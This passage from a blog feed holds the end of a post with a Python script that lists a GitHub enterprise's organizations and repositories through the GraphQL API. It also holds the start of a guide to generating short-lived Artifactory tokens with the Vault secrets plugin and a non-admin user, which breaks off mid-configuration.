        &lt;span class=&quot;s&quot;&gt;&quot;AFTER&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;null&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;organizations&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hasNextPage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;afterCursor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Getting organizations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hasNextPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_orgs_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;afterCursor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Authorization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Bearer &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GH_PAT&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;enterprise&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;organizations&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;enterprise&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;nodes&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;enterprise&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organizations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;org&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;enterprise&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organizations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;nodes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;organizations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;repositories&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]})&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Response missing expected field. Got:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hasNextPage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;enterprise&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organizations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pageInfo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hasNextPage&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;afterCursor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;enterprise&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organizations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pageInfo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;endCursor&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Got organizations: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;organizations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-----------------------------&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;org&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;organizations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Getting repos for org: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hasNextPage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;afterCursor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hasNextPage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_repos_query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;afterCursor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Authorization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Bearer &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GH_PAT&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;organization&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;repositories&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;nodes&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;repositories&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;repo&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;repositories&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;nodes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;repositories&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;nameWithOwner&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Response missing expected field. Got:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;hasNextPage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;repositories&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pageInfo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;hasNextPage&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;afterCursor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;organization&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;repositories&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pageInfo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;endCursor&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-----------------------------&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Organizations and repositories collected:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;yaml&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;organizations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# or print(json.dumps(organizations, indent=4))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Installing the dependencies:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pip3 &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;python-graphql-client pyyaml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you have it, a programmatic way to get all current and future orgs and repositories of the enterprise. TLDR steps once again:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Create a machine account with enterprise admin priviledges (so that it can see all orgs and repositories)&lt;/li&gt;
  &lt;li&gt;Create a Classic Personal Access Token for the account with the following scopes:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read:enterprise&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read:org&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repo:status&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public_repo&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Authorize the PAT for at least one organization&lt;/li&gt;
  &lt;li&gt;Run the above python script using the PAT&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Using vault-plugin-secrets-artifactory to generate short-lived Artifactory tokens with a non-admin user</title>
   <link href="https://szabo.jp/2023/08/02/vault-plugin-secrets-artifactory-without-admin-user/"/>
   <updated>2023-08-02T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/08/02/vault-plugin-secrets-artifactory-without-admin-user</id>
   <content type="html">&lt;p&gt;How to use the &lt;a href=&quot;https://github.com/jfrog/vault-plugin-secrets-artifactory&quot;&gt;HashiCorp Vault Secrets Plugin for Artifactory&lt;/a&gt; to create short-lived Artifactory tokens scoped to a specific user, without the need for an admin token.
The main usecase for this is CI workflows (e.g. Github actions) that can authenticate to vault (e.g. &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect&quot;&gt;Github’s workflow OIDC&lt;/a&gt;) and need access to Artifactory.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/jfrog/vault-plugin-secrets-artifactory&quot;&gt;vault-plugin-secrets-artifactory&lt;/a&gt;’s README mentions that it works with non-admin users, but falls short on detailing how to use it in practice. This guide will go through this.&lt;/p&gt;

&lt;h1 id=&quot;1-install-the-plugin&quot;&gt;1. Install the plugin&lt;/h1&gt;

&lt;p&gt;Install the vault plugin following &lt;a href=&quot;https://github.com/jfrog/vault-plugin-secrets-artifactory#installation&quot;&gt;these instructions&lt;/a&gt;. This only has to be done once per vault instance.&lt;/p&gt;

&lt;h1 id=&quot;2-get-an-artifactory-identity-token&quot;&gt;2. Get an Artifactory Identity Token&lt;/h1&gt;

&lt;p&gt;Login with the Artifactory user that you will use, and generate an Identity Token. &lt;strong&gt;Important&lt;/strong&gt;: don’t use the API Key, as it lets you configure the vault backend, but when you try to generate a token it fails with this error:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;vault &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;artifactory/token/test
Error reading artifactory/token/test: Error making API request.

URL: GET http://vault:8200/v1/artifactory/token/test
Code: 500. Errors:

&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; 1 error occurred:
        &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; could not get the sytem version: HTTP response 401
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Also note the username (email address) as we will need it in the next steps.&lt;/p&gt;

&lt;h1 id=&quot;3-create-the-backend-in-vault&quot;&gt;3. Create the backend in vault&lt;/h1&gt;

&lt;p&gt;Create the artifactory backend in vault by&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vault secrets &lt;span class=&quot;nb&quot;&gt;enable &lt;/span&gt;artifactory &lt;span class=&quot;nt&quot;&gt;-path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;artifactory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or via terraform:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault_mount&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;artifactory&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;artifactory&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;artifactory&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;To create Artifactory tokens&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;4-configure-the-backend-with-the-artifactory-token&quot;&gt;4. Configure the backend with the Artifactory token&lt;/h1&gt;

&lt;p&gt;Use your artifactory’s URL and the Artifactory Identity Token from the earlier step:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vault write artifactory/config/admin &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;https://artifactory.example.org &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TOKEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or the same via terraform:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault_generic_endpoint&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;config&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;${vault_mount.artifactory.path}/config/admin&quot;&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Prevents resource from being recreated each time the token is rotated&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;lifecycle&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
